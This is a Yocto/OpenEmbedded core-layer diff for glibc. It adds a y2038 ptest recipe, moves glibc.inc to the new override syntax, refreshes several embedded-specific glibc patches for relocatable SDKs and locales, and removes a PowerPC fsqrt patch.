+CVE_STATUS[CVE-2023-4911] = "fixed-version: Fixed in stable branch updates"
diff --git a/meta/recipes-core/glibc/glibc-y2038-tests_2.39.bb b/meta/recipes-core/glibc/glibc-y2038-tests_2.39.bb
new file mode 100644
index 0000000000..be49ca4cb7
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc-y2038-tests_2.39.bb
@@ -0,0 +1,119 @@
+require glibc_${PV}.bb
+require glibc-tests.inc
+
+inherit ptest features_check
+REQUIRED_DISTRO_FEATURES = "ptest"
+
+SRC_URI += "\
+ file://run-ptest \
+"
+
+SUMMARY = "glibc tests using time32/time64 interfaces to be run with ptest for the purpose of checking y2038 compatiblity"
+
+# Erase some variables already set by glibc_${PV}
+python __anonymous() {
+ # Remove packages provided by glibc build, we only need a subset of them
+ d.setVar("PACKAGES", "${PN} ${PN}-ptest")
+
+ d.setVar("PROVIDES", "${PN} ${PN}-ptest")
+
+ bbclassextend = d.getVar("BBCLASSEXTEND").replace("nativesdk", "").strip()
+ d.setVar("BBCLASSEXTEND", bbclassextend)
+ d.setVar("RRECOMMENDS", "")
+ d.setVar("SYSTEMD_SERVICE:nscd", "")
+ d.setVar("SYSTEMD_PACKAGES", "")
+}
+
+# Remove any leftovers from original glibc recipe
+RPROVIDES:${PN} = "${PN}"
+RRECOMMENDS:${PN} = ""
+RDEPENDS:${PN} = "glibc libgcc sed bash"
+RDEPENDS:${PN}-ptest = "${PN}"
+DEPENDS += "sed"
+
+export oe_srcdir="${exec_prefix}/src/debug/glibc/${PV}/"
+
+# Just build tests for target - do not run them
+do_check:append () {
+ oe_runmake -i check run-built-tests=no
+}
+addtask do_check after do_compile before do_install_ptest_base
+
+glibc_strip_build_directory () {
+ # Delete all non executable files from build directory
+ find ${B} ! -executable -type f -delete
+
+ # Remove build dynamic libraries and links to them as
+ # those are already installed in the target device
+ find ${B} -type f -name "*.so" -delete
+ find ${B} -type l -name "*.so*" -delete
+
+ # Remove headers (installed with glibc)
+ find ${B} -type f -name "*.h" -delete
+
+ find ${B} -type f -name "isomac" -delete
+ find ${B} -type f -name "annexc" -delete
+}
+
+do_install_ptest_base () {
+ glibc_strip_build_directory
+
+ ls -r ${B}/*/*-time64 > ${B}/tst_time64
+
+ # Remove '-time64' suffix - those tests are also time related
+ sed -e "s/-time64$//" ${B}/tst_time64 > ${B}/tst_time_tmp
+ tst_time=$(cat ${B}/tst_time_tmp ${B}/tst_time64)
+
+ rm ${B}/tst_time_tmp ${B}/tst_time64
+ echo "${tst_time}"
+
+ # Install build test programs to the image
+ install -d ${D}${PTEST_PATH}/tests/glibc-ptest/
+
+ for f in "${tst_time}"
+ do
+ cp -r ${f} ${D}${PTEST_PATH}/tests/glibc-ptest/
+ done
+
+ install -d ${D}${PTEST_PATH}
+ cp ${WORKDIR}/run-ptest ${D}${PTEST_PATH}/
+
+}
+
+# The datadir directory is required to allow core (and reused)
+# glibc cleanup function to finish correctly, as this directory
+# is not created for ptests
+stash_locale_package_cleanup:prepend () {
+ mkdir -p ${PKGD}${datadir}
+}
+
+stash_locale_sysroot_cleanup:prepend () {
+ mkdir -p ${SYSROOT_DESTDIR}${datadir}
+}
+
+# Prevent the do_package() task to set 'libc6' prefix
+# for glibc tests related packages
+python populate_packages:prepend () {
+ if d.getVar('DEBIAN_NAMES'):
+ d.setVar('DEBIAN_NAMES', '')
+}
+
+FILES:${PN} = "${PTEST_PATH}/* /usr/src/debug/${PN}/*"
+
+EXCLUDE_FROM_SHLIBS = "1"
+
+# Install debug data in .debug and sources in /usr/src/debug
+# It is more handy to have _all_ the sources and symbols in one
+# place (package) as this recipe will be used for validation and
+# debugging.
+PACKAGE_DEBUG_SPLIT_STYLE = ".debug"
+
+# glibc test cases violate by default some Yocto/OE checks (staticdev,
+# textrel)
+# 'debug-files' - add everything (including debug) into one package
+# (no need to install/build *-src package)
+INSANE_SKIP:${PN} += "staticdev textrel debug-files rpaths"
+
+deltask do_stash_locale
+do_install[noexec] = "1"
+do_populate_sysroot[noexec] = "1"
diff --git a/meta/recipes-core/glibc/glibc.inc b/meta/recipes-core/glibc/glibc.inc
index d2f02ad59b..b08a70aa46 100644
--- a/meta/recipes-core/glibc/glibc.inc
+++ b/meta/recipes-core/glibc/glibc.inc
@@ -1,7 +1,7 @@
require glibc-common.inc
require glibc-ld.inc
-DEPENDS = "virtual/${TARGET_PREFIX}gcc libgcc-initial linux-libc-headers"
+DEPENDS = "virtual/${HOST_PREFIX}gcc virtual/${HOST_PREFIX}binutils libgcc-initial linux-libc-headers"
PROVIDES = "virtual/libc"
PROVIDES += "virtual/libintl virtual/libiconv"
@@ -20,13 +20,14 @@ CACHED_CONFIGUREVARS += " \
libc_cv_ssp_strong=no \
libc_cv_ssp_all=no \
libc_cv_ssp=no \
+ libc_cv_include_x86_isa_level=no \
"
# ifunc doesn't appear to work on mips, casuses libbfd assertion failures
-CACHED_CONFIGUREVARS_append_mipsarch = " libc_cv_ld_gnu_indirect_function=no"
+CACHED_CONFIGUREVARS:append:mipsarch = " libc_cv_ld_gnu_indirect_function=no"
GLIBC_EXTRA_OECONF ?= ""
-GLIBC_EXTRA_OECONF_class-nativesdk = ""
+GLIBC_EXTRA_OECONF:class-nativesdk = ""
# glibc uses PARALLELMFLAGS variable to pass parallel build info so transfer
# PARALLEL_MAKE into PARALLELMFLAGS and empty out PARALLEL_MAKE
@@ -40,12 +41,16 @@ PARALLEL_MAKE = ""
# ensure make uses /bin/bash
EXTRA_OEMAKE += "SHELL=/bin/bash"
-do_configure_prepend() {
- sed -e "s#@BASH@#/bin/sh#" -i ${S}/elf/ldd.bash.in
+# We do not need bash to run tzselect script, the default is to use
+# bash but it can be configured by setting KSHELL Makefile variable
+EXTRA_OEMAKE += "KSHELL=/bin/sh"
+
+do_configure:prepend() {
+ sed -e "s#/bin/bash#/bin/sh#" -i ${S}/elf/ldd.bash.in
}
# Enable backtrace from abort()
-do_configure_append_arm () {
+do_configure:append:arm () {
echo "CFLAGS-abort.c = -fasynchronous-unwind-tables" >> ${B}/configparms
echo "CFLAGS-raise.c = -fasynchronous-unwind-tables" >> ${B}/configparms
}
diff --git a/meta/recipes-core/glibc/glibc/0001-localedef-Add-hardlink-resolver-from-util-linux.patch b/meta/recipes-core/glibc/glibc/0001-localedef-Add-hardlink-resolver-from-util-linux.patch
index e0ec1887dc..4f919078dd 100644
--- a/meta/recipes-core/glibc/glibc/0001-localedef-Add-hardlink-resolver-from-util-linux.patch
+++ b/meta/recipes-core/glibc/glibc/0001-localedef-Add-hardlink-resolver-from-util-linux.patch
@@ -1,7 +1,7 @@
-From 5db90855621a81d02f1434d5602cefea8c45de1c Mon Sep 17 00:00:00 2001
+From 544d23dea91b2be793c805b9e4bce8cd1d28121f Mon Sep 17 00:00:00 2001
From: Jason Wessel <jason.wessel@windriver.com>
Date: Sat, 7 Dec 2019 09:59:22 -0800
-Subject: [PATCH 01/29] localedef: Add hardlink resolver from util-linux
+Subject: [PATCH] localedef: Add hardlink resolver from util-linux
The hard link resolver that is built into localedef cannot be run in
parallel. It will search sibling directories (which are be processed
@@ -1128,6 +1128,3 @@ index 0000000000..0129a85e2e
+}
+
+#endif
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0002-localedef-fix-ups-hardlink-to-make-it-compile.patch b/meta/recipes-core/glibc/glibc/0002-localedef-fix-ups-hardlink-to-make-it-compile.patch
index 05b76803b4..7c8fa973ec 100644
--- a/meta/recipes-core/glibc/glibc/0002-localedef-fix-ups-hardlink-to-make-it-compile.patch
+++ b/meta/recipes-core/glibc/glibc/0002-localedef-fix-ups-hardlink-to-make-it-compile.patch
@@ -1,7 +1,7 @@
-From ab022ce3c1c01fd6c850f541a33efd0cacabe052 Mon Sep 17 00:00:00 2001
+From ebb1e37285ab541135005cfe945b7a58e4b95040 Mon Sep 17 00:00:00 2001
From: Jason Wessel <jason.wessel@windriver.com>
Date: Sat, 7 Dec 2019 10:01:37 -0800
-Subject: [PATCH 02/29] localedef: fix-ups hardlink to make it compile
+Subject: [PATCH] localedef: fix-ups hardlink to make it compile
Upstream-Status: Pending
Signed-off-by: Jason Wessel <jason.wessel@windriver.com>
@@ -236,6 +236,3 @@ index 63615896b0..726e6dd948 100644
}
continue;
}
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0003-nativesdk-glibc-Look-for-host-system-ld.so.cache-as-.patch b/meta/recipes-core/glibc/glibc/0003-nativesdk-glibc-Look-for-host-system-ld.so.cache-as-.patch
index 743994f2db..bd4b5aa98b 100644
--- a/meta/recipes-core/glibc/glibc/0003-nativesdk-glibc-Look-for-host-system-ld.so.cache-as-.patch
+++ b/meta/recipes-core/glibc/glibc/0003-nativesdk-glibc-Look-for-host-system-ld.so.cache-as-.patch
@@ -1,8 +1,7 @@
-From de4322ef6d4dc9fc3ee9b69af1c10edbc64a66a3 Mon Sep 17 00:00:00 2001
+From 9770abfda8e85fe027f95871bc03450d05b1e2c8 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Wed, 18 Mar 2015 01:48:24 +0000
-Subject: [PATCH 03/29] nativesdk-glibc: Look for host system ld.so.cache as
- well
+Subject: [PATCH] nativesdk-glibc: Look for host system ld.so.cache as well
Upstream-Status: Inappropriate [embedded specific]
@@ -31,10 +30,10 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 8 insertions(+), 8 deletions(-)
diff --git a/elf/dl-load.c b/elf/dl-load.c
-index e39980fb19..565b039b23 100644
+index ce8fdea302..1f502eb026 100644
--- a/elf/dl-load.c
+++ b/elf/dl-load.c
-@@ -2160,6 +2160,14 @@ _dl_map_object (struct link_map *loader, const char *name,
+@@ -2105,6 +2105,14 @@ _dl_map_object (struct link_map *loader, const char *name,
}
}
@@ -42,14 +41,14 @@ index e39980fb19..565b039b23 100644
+ if (fd == -1
+ && ((l = loader ?: GL(dl_ns)[nsid]._ns_loaded) == NULL
+ || __builtin_expect (!(l->l_flags_1 & DF_1_NODEFLIB), 1))
-+ && rtld_search_dirs.dirs != (void *) -1)
-+ fd = open_path (name, namelen, mode & __RTLD_SECURE, &rtld_search_dirs,
++ && __rtld_search_dirs.dirs != (void *) -1)
++ fd = open_path (name, namelen, mode & __RTLD_SECURE, &__rtld_search_dirs,
+ &realname, &fb, l, LA_SER_DEFAULT, &found_other_class);
+ /* Finally try ld.so.cache */
#ifdef USE_LDCONFIG
if (fd == -1
&& (__glibc_likely ((mode & __RTLD_SECURE) == 0)
-@@ -2218,14 +2226,6 @@ _dl_map_object (struct link_map *loader, const char *name,
+@@ -2163,14 +2171,6 @@ _dl_map_object (struct link_map *loader, const char *name,
}
#endif
@@ -57,13 +56,10 @@ index e39980fb19..565b039b23 100644
- if (fd == -1
- && ((l = loader ?: GL(dl_ns)[nsid]._ns_loaded) == NULL
- || __glibc_likely (!(l->l_flags_1 & DF_1_NODEFLIB)))
-- && rtld_search_dirs.dirs != (void *) -1)
-- fd = open_path (name, namelen, mode, &rtld_search_dirs,
+- && __rtld_search_dirs.dirs != (void *) -1)
+- fd = open_path (name, namelen, mode, &__rtld_search_dirs,
- &realname, &fb, l, LA_SER_DEFAULT, &found_other_class);
-
/* Add another newline when we are tracing the library loading. */
if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_LIBS))
_dl_debug_printf ("\n");
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0004-nativesdk-glibc-Fix-buffer-overrun-with-a-relocated-.patch b/meta/recipes-core/glibc/glibc/0004-nativesdk-glibc-Fix-buffer-overrun-with-a-relocated-.patch
index a3b5b7750c..19fc561a06 100644
--- a/meta/recipes-core/glibc/glibc/0004-nativesdk-glibc-Fix-buffer-overrun-with-a-relocated-.patch
+++ b/meta/recipes-core/glibc/glibc/0004-nativesdk-glibc-Fix-buffer-overrun-with-a-relocated-.patch
@@ -1,8 +1,7 @@
-From 258c44e4ecffd830cb89d0016d45b2bac765f559 Mon Sep 17 00:00:00 2001
+From 587b92ff99e6d8f59c461ee8beecae39d8818f7e Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Wed, 18 Mar 2015 01:50:00 +0000
-Subject: [PATCH 04/29] nativesdk-glibc: Fix buffer overrun with a relocated
- SDK
+Subject: [PATCH] nativesdk-glibc: Fix buffer overrun with a relocated SDK
When ld-linux-*.so.2 is relocated to a path that is longer than the
original fixed location, the dynamic loader will crash in open_path
@@ -22,10 +21,10 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 12 insertions(+)
diff --git a/elf/dl-load.c b/elf/dl-load.c
-index 565b039b23..e1b3486549 100644
+index 1f502eb026..c4a543fb00 100644
--- a/elf/dl-load.c
+++ b/elf/dl-load.c
-@@ -1860,7 +1860,19 @@ open_path (const char *name, size_t namelen, int mode,
+@@ -1802,7 +1802,19 @@ open_path (const char *name, size_t namelen, int mode,
given on the command line when rtld is run directly. */
return -1;
@@ -45,6 +44,3 @@ index 565b039b23..e1b3486549 100644
do
{
struct r_search_path_elem *this_dir = *dirs;
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0005-nativesdk-glibc-Raise-the-size-of-arrays-containing-.patch b/meta/recipes-core/glibc/glibc/0005-nativesdk-glibc-Raise-the-size-of-arrays-containing-.patch
index 2073576aac..55892417f4 100644
--- a/meta/recipes-core/glibc/glibc/0005-nativesdk-glibc-Raise-the-size-of-arrays-containing-.patch
+++ b/meta/recipes-core/glibc/glibc/0005-nativesdk-glibc-Raise-the-size-of-arrays-containing-.patch
@@ -1,8 +1,7 @@
-From 19cd858f5f04a6ac584fbd89a2fbc51791263b85 Mon Sep 17 00:00:00 2001
+From 49caf586b80ba030a0ee4af9f6128ff2979ea636 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Wed, 18 Mar 2015 01:51:38 +0000
-Subject: [PATCH 05/29] nativesdk-glibc: Raise the size of arrays containing dl
- paths
+Subject: [PATCH] nativesdk-glibc: Raise the size of arrays containing dl paths
This patch puts the dynamic loader path in the binaries, SYSTEM_DIRS strings
and lengths as well as ld.so.cache path in the dynamic loader to specific
@@ -18,20 +17,21 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
elf/dl-cache.c | 4 ++++
elf/dl-load.c | 4 ++--
+ elf/dl-usage.c | 6 ++++--
elf/interp.c | 2 +-
- elf/ldconfig.c | 3 +++
- elf/rtld.c | 5 +++--
+ elf/ldconfig.c | 2 ++
+ elf/rtld.c | 1 +
iconv/gconv_conf.c | 2 +-
sysdeps/generic/dl-cache.h | 4 ----
- 7 files changed, 14 insertions(+), 10 deletions(-)
+ 8 files changed, 15 insertions(+), 10 deletions(-)
diff --git a/elf/dl-cache.c b/elf/dl-cache.c
-index 93d185e788..e115b18756 100644
+index 85f3f179ed..cc55887c56 100644
--- a/elf/dl-cache.c
+++ b/elf/dl-cache.c
-@@ -133,6 +133,10 @@ do \
- while (0)
-
+@@ -352,6 +352,10 @@ search_cache (const char *string_table, uint32_t string_table_size,
+ return best;
+ }
+const char LD_SO_CACHE[4096] __attribute__ ((section (".ldsocache"))) =
+ SYSCONFDIR "/ld.so.cache";
@@ -41,10 +41,10 @@ index 93d185e788..e115b18756 100644
_dl_cache_libcmp (const char *p1, const char *p2)
{
diff --git a/elf/dl-load.c b/elf/dl-load.c
-index e1b3486549..5226d0c4fa 100644
+index c4a543fb00..27fb70f09b 100644
--- a/elf/dl-load.c
+++ b/elf/dl-load.c
-@@ -111,8 +111,8 @@ static size_t max_capstrlen attribute_relro;
+@@ -117,8 +117,8 @@ enum { ncapstr = 1, max_capstrlen = 0 };
gen-trusted-dirs.awk. */
#include "trusted-dirs.h"
@@ -55,8 +55,39 @@ index e1b3486549..5226d0c4fa 100644
{
SYSTEM_DIRS_LEN
};
+diff --git a/elf/dl-usage.c b/elf/dl-usage.c
+index 5baac4ba8e..60097ad0e2 100644
+--- a/elf/dl-usage.c
++++ b/elf/dl-usage.c
+@@ -25,6 +25,8 @@
+ #include <dl-procinfo.h>
+ #include <dl-hwcaps.h>
+
++extern const char LD_SO_CACHE[4096] __attribute__ ((section (".ldsocache")));
++
+ void
+ _dl_usage (const char *argv0, const char *wrong_option)
+ {
+@@ -185,7 +187,7 @@ setting environment variables (which would be inherited by subprocesses).\n\
+ --list list all dependencies and how they are resolved\n\
+ --verify verify that given object really is a dynamically linked\n\
+ object we can handle\n\
+- --inhibit-cache Do not use " LD_SO_CACHE "\n\
++ --inhibit-cache Do not use %s\n\
+ --library-path PATH use given PATH instead of content of the environment\n\
+ variable LD_LIBRARY_PATH\n\
+ --glibc-hwcaps-prepend LIST\n\
+@@ -204,7 +206,7 @@ setting environment variables (which would be inherited by subprocesses).\n\
+ \n\
+ This program interpreter self-identifies as: " RTLD "\n\
+ ",
+- argv0);
++ argv0, LD_SO_CACHE);
+ print_search_path_for_help (state);
+ print_hwcaps_subdirectories (state);
+ _exit (EXIT_SUCCESS);
diff --git a/elf/interp.c b/elf/interp.c
-index 331cc1df48..885b2d9476 100644
+index 8b705824bf..7d094829f3 100644
--- a/elf/interp.c
+++ b/elf/interp.c
@@ -18,5 +18,5 @@
@@ -67,24 +98,23 @@ index 331cc1df48..885b2d9476 100644
+const char __invoke_dynamic_linker__[4096] __attribute__ ((section (".interp")))
= RUNTIME_LINKER;
diff --git a/elf/ldconfig.c b/elf/ldconfig.c
-index 0c090dca15..6bb6e0fe72 100644
+index b64c54b53e..caf7001745 100644
--- a/elf/ldconfig.c
+++ b/elf/ldconfig.c
-@@ -171,6 +171,9 @@ static struct argp argp =
+@@ -150,6 +150,8 @@ static struct argp argp =
options, parse_opt, NULL, doc, NULL, more_help, NULL
};
-+
+extern const char LD_SO_CACHE[4096] __attribute__ ((section (".ldsocache")));
+
- /* Check if string corresponds to an important hardware capability or
- a platform. */
- static int
+ /* Handle program arguments. */
+ static error_t
+ parse_opt (int key, char *arg, struct argp_state *state)
diff --git a/elf/rtld.c b/elf/rtld.c
-index 5b882163fa..db407b5d8b 100644
+index 4f494b792e..d1c1252188 100644
--- a/elf/rtld.c
+++ b/elf/rtld.c
-@@ -217,6 +217,7 @@ dso_name_valid_for_suid (const char *p)
+@@ -190,6 +190,7 @@ dso_name_valid_for_suid (const char *p)
}
return *p != '\0';
}
@@ -92,28 +122,12 @@ index 5b882163fa..db407b5d8b 100644
static void
audit_list_init (struct audit_list *list)
-@@ -1286,13 +1287,13 @@ of this helper program; chances are you did not intend to run this program.\n\
- --list list all dependencies and how they are resolved\n\
- --verify verify that given object really is a dynamically linked\n\
- object we can handle\n\
-- --inhibit-cache Do not use " LD_SO_CACHE "\n\
-+ --inhibit-cache Do not use %s\n\
- --library-path PATH use given PATH instead of content of the environment\n\
- variable LD_LIBRARY_PATH\n\
- --inhibit-rpath LIST ignore RUNPATH and RPATH information in object names\n\
- in LIST\n\
- --audit LIST use objects named in LIST as auditors\n\
-- --preload LIST preload objects named in LIST\n");
-+ --preload LIST preload objects named in LIST\n", LD_SO_CACHE);
-
- ++_dl_skip_args;
- --_dl_argc;
diff --git a/iconv/gconv_conf.c b/iconv/gconv_conf.c
-index 735bd1f2d5..25100ba666 100644
+index 1063c31a2b..57fa832e52 100644
--- a/iconv/gconv_conf.c
+++ b/iconv/gconv_conf.c
-@@ -36,7 +36,7 @@
-
+@@ -35,7 +35,7 @@
+ #include <gconv_parseconfdir.h>
/* This is the default path where we look for module lists. */
-static const char default_gconv_path[] = GCONV_PATH;
@@ -122,10 +136,10 @@ index 735bd1f2d5..25100ba666 100644
/* Type to represent search path. */
struct path_elem
diff --git a/sysdeps/generic/dl-cache.h b/sysdeps/generic/dl-cache.h
-index 6b310e9e15..3877311df4 100644
+index 919e49ffc8..cd3f8ba94b 100644
--- a/sysdeps/generic/dl-cache.h
+++ b/sysdeps/generic/dl-cache.h
-@@ -27,10 +27,6 @@
+@@ -34,10 +34,6 @@
((flags) == 1 || (flags) == _DL_CACHE_DEFAULT_ID)
#endif
@@ -136,6 +150,3 @@ index 6b310e9e15..3877311df4 100644
#ifndef add_system_dir
# define add_system_dir(dir) add_dir (dir)
#endif
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0006-nativesdk-glibc-Allow-64-bit-atomics-for-x86.patch b/meta/recipes-core/glibc/glibc/0006-nativesdk-glibc-Allow-64-bit-atomics-for-x86.patch
index 372dca727e..56eaaed4b7 100644
--- a/meta/recipes-core/glibc/glibc/0006-nativesdk-glibc-Allow-64-bit-atomics-for-x86.patch
+++ b/meta/recipes-core/glibc/glibc/0006-nativesdk-glibc-Allow-64-bit-atomics-for-x86.patch
@@ -1,7 +1,7 @@
-From bd0486cab67c3441210aed48caab67418610a765 Mon Sep 17 00:00:00 2001
+From 3a94365c730d174a3c30c6d9282e6ca12d9ad091 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Thu, 31 Dec 2015 14:35:35 -0800
-Subject: [PATCH 06/29] nativesdk-glibc: Allow 64 bit atomics for x86
+Subject: [PATCH] nativesdk-glibc: Allow 64 bit atomics for x86
The fix consist of allowing 64bit atomic ops for x86.
This should be safe for i586 and newer CPUs.
@@ -13,15 +13,15 @@ Signed-off-by: Juro Bystricky <juro.bystricky@intel.com>
Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
- sysdeps/x86/atomic-machine.h | 3 +--
- 1 file changed, 1 insertion(+), 2 deletions(-)
+ sysdeps/x86/atomic-machine.h | 7 +------
+ 1 file changed, 1 insertion(+), 6 deletions(-)
diff --git a/sysdeps/x86/atomic-machine.h b/sysdeps/x86/atomic-machine.h
-index bb49648374..aa08d3c0a7 100644
+index cfd395087b..28a937c468 100644
--- a/sysdeps/x86/atomic-machine.h
+++ b/sysdeps/x86/atomic-machine.h
-@@ -58,15 +58,14 @@ typedef uintmax_t uatomic_max_t;
- #endif
+@@ -26,19 +26,14 @@
+ #define LOCK_PREFIX "lock;"
#define USE_ATOMIC_COMPILER_BUILTINS 1
+# define __HAVE_64B_ATOMICS 1
@@ -33,10 +33,11 @@ index bb49648374..aa08d3c0a7 100644
# define BR_CONSTRAINT "q"
# define IBR_CONSTRAINT "iq"
#else
+-/* Since the Pentium, i386 CPUs have supported 64-bit atomics, but the
+- i386 psABI supplement provides only 4-byte alignment for uint64_t
+- inside structs, so it is currently not possible to use 64-bit
+- atomics on this platform. */
-# define __HAVE_64B_ATOMICS 0
# define SP_REG "esp"
# define SEG_REG "gs"
# define BR_CONSTRAINT "r"
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0007-nativesdk-glibc-Make-relocatable-install-for-locales.patch b/meta/recipes-core/glibc/glibc/0007-nativesdk-glibc-Make-relocatable-install-for-locales.patch
index 729ce1b42d..54c085a714 100644
--- a/meta/recipes-core/glibc/glibc/0007-nativesdk-glibc-Make-relocatable-install-for-locales.patch
+++ b/meta/recipes-core/glibc/glibc/0007-nativesdk-glibc-Make-relocatable-install-for-locales.patch
@@ -1,7 +1,7 @@
-From 9a8bf11ea375a2fe5eddb30bc10943e64d3b96a4 Mon Sep 17 00:00:00 2001
+From 296bdde0683aa55cdea0fd0cab05ff8fbc462b17 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 3 Aug 2018 09:55:12 -0700
-Subject: [PATCH 07/29] nativesdk-glibc: Make relocatable install for locales
+Subject: [PATCH] nativesdk-glibc: Make relocatable install for locales
The glibc locale path is hard-coded to the install prefix, but in SDKs we need
to be able to relocate the binaries. Expand the strings to 4K and put them in a
@@ -19,10 +19,10 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
4 files changed, 8 insertions(+), 7 deletions(-)
diff --git a/locale/findlocale.c b/locale/findlocale.c
-index 9cd3b71a6d..84272310e0 100644
+index 8d6e4e33e3..bfe74f241d 100644
--- a/locale/findlocale.c
+++ b/locale/findlocale.c
-@@ -56,7 +56,7 @@ struct __locale_data *const _nl_C[] attribute_hidden =
+@@ -55,7 +55,7 @@ struct __locale_data *const _nl_C[] attribute_hidden =
which are somehow addressed. */
struct loaded_l10nfile *_nl_locale_file_list[__LC_LAST];
@@ -31,7 +31,7 @@ index 9cd3b71a6d..84272310e0 100644
/* Checks if the name is actually present, that is, not NULL and not
empty. */
-@@ -166,7 +166,7 @@ _nl_find_locale (const char *locale_path, size_t locale_path_len,
+@@ -165,7 +165,7 @@ _nl_find_locale (const char *locale_path, size_t locale_path_len,
/* Nothing in the archive. Set the default path to search below. */
locale_path = _nl_default_locale_path;
@@ -41,7 +41,7 @@ index 9cd3b71a6d..84272310e0 100644
else
/* We really have to load some data. First see whether the name is
diff --git a/locale/loadarchive.c b/locale/loadarchive.c
-index ba0fe45648..9737fd4cda 100644
+index 452e3eb6e3..c7467aec42 100644
--- a/locale/loadarchive.c
+++ b/locale/loadarchive.c
@@ -42,7 +42,7 @@
@@ -54,10 +54,10 @@ index ba0fe45648..9737fd4cda 100644
/* Size of initial mapping window, optimal if large enough to
cover the header plus the initial locale. */
diff --git a/locale/localeinfo.h b/locale/localeinfo.h
-index 1bfe22aa7f..fdc283c69a 100644
+index ed698faef1..f7efc288a5 100644
--- a/locale/localeinfo.h
+++ b/locale/localeinfo.h
-@@ -331,7 +331,7 @@ _nl_lookup_word (locale_t l, int category, int item)
+@@ -347,7 +347,7 @@ _nl_lookup_word (locale_t l, int category, int item)
}
/* Default search path if no LOCPATH environment variable. */
@@ -67,10 +67,10 @@ index 1bfe22aa7f..fdc283c69a 100644
/* Load the locale data for CATEGORY from the file specified by *NAME.
If *NAME is "", use environment variables as specified by POSIX, and
diff --git a/locale/programs/locale.c b/locale/programs/locale.c
-index e2e309c2a1..61a92cdcd1 100644
+index c7ee1874e8..8281e32236 100644
--- a/locale/programs/locale.c
+++ b/locale/programs/locale.c
-@@ -632,6 +632,7 @@ nameentcmp (const void *a, const void *b)
+@@ -631,6 +631,7 @@ nameentcmp (const void *a, const void *b)
((const struct nameent *) b)->name);
}
@@ -78,7 +78,7 @@ index e2e309c2a1..61a92cdcd1 100644
static int
write_archive_locales (void **all_datap, char *linebuf)
-@@ -645,7 +646,7 @@ write_archive_locales (void **all_datap, char *linebuf)
+@@ -644,7 +645,7 @@ write_archive_locales (void **all_datap, char *linebuf)
int fd, ret = 0;
uint32_t cnt;
@@ -87,7 +87,7 @@ index e2e309c2a1..61a92cdcd1 100644
if (fd < 0)
return 0;
-@@ -700,8 +701,8 @@ write_archive_locales (void **all_datap, char *linebuf)
+@@ -699,8 +700,8 @@ write_archive_locales (void **all_datap, char *linebuf)
if (cnt)
putchar_unlocked ('\n');
@@ -98,6 +98,3 @@ index e2e309c2a1..61a92cdcd1 100644
locrec = (struct locrecent *) (addr + names[cnt].locrec_offset);
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0008-fsl-e500-e5500-e6500-603e-fsqrt-implementation.patch b/meta/recipes-core/glibc/glibc/0008-fsl-e500-e5500-e6500-603e-fsqrt-implementation.patch
deleted file mode 100644
index 5e3b3e2d7b..0000000000
--- a/meta/recipes-core/glibc/glibc/0008-fsl-e500-e5500-e6500-603e-fsqrt-implementation.patch
+++ /dev/null
@@ -1,1584 +0,0 @@
-From 59b0a78ae706a540dbd8905bc97c875220d6aeb2 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:01:50 +0000
-Subject: [PATCH 08/29] fsl e500/e5500/e6500/603e fsqrt implementation
-
-Upstream-Status: Pending
-Signed-off-by: Edmar Wienskoski <edmar@freescale.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c | 134 ++++++++++++++++++
- sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c | 101 +++++++++++++
- sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c | 134 ++++++++++++++++++
- .../powerpc/powerpc32/e500mc/fpu/e_sqrtf.c | 101 +++++++++++++
- sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c | 134 ++++++++++++++++++
- sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c | 101 +++++++++++++
- sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c | 134 ++++++++++++++++++
- sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c | 101 +++++++++++++
- sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c | 134 ++++++++++++++++++
- sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c | 101 +++++++++++++
- sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c | 134 ++++++++++++++++++
- sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c | 101 +++++++++++++
- .../linux/powerpc/powerpc32/603e/fpu/Implies | 1 +
- .../powerpc/powerpc32/e300c3/fpu/Implies | 2 +
- .../powerpc/powerpc32/e500mc/fpu/Implies | 1 +
- .../linux/powerpc/powerpc32/e5500/fpu/Implies | 1 +
- .../linux/powerpc/powerpc32/e6500/fpu/Implies | 1 +
- .../linux/powerpc/powerpc64/e5500/fpu/Implies | 1 +
- .../linux/powerpc/powerpc64/e6500/fpu/Implies | 1 +
- 19 files changed, 1418 insertions(+)
- create mode 100644 sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
- create mode 100644 sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
- create mode 100644 sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
- create mode 100644 sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
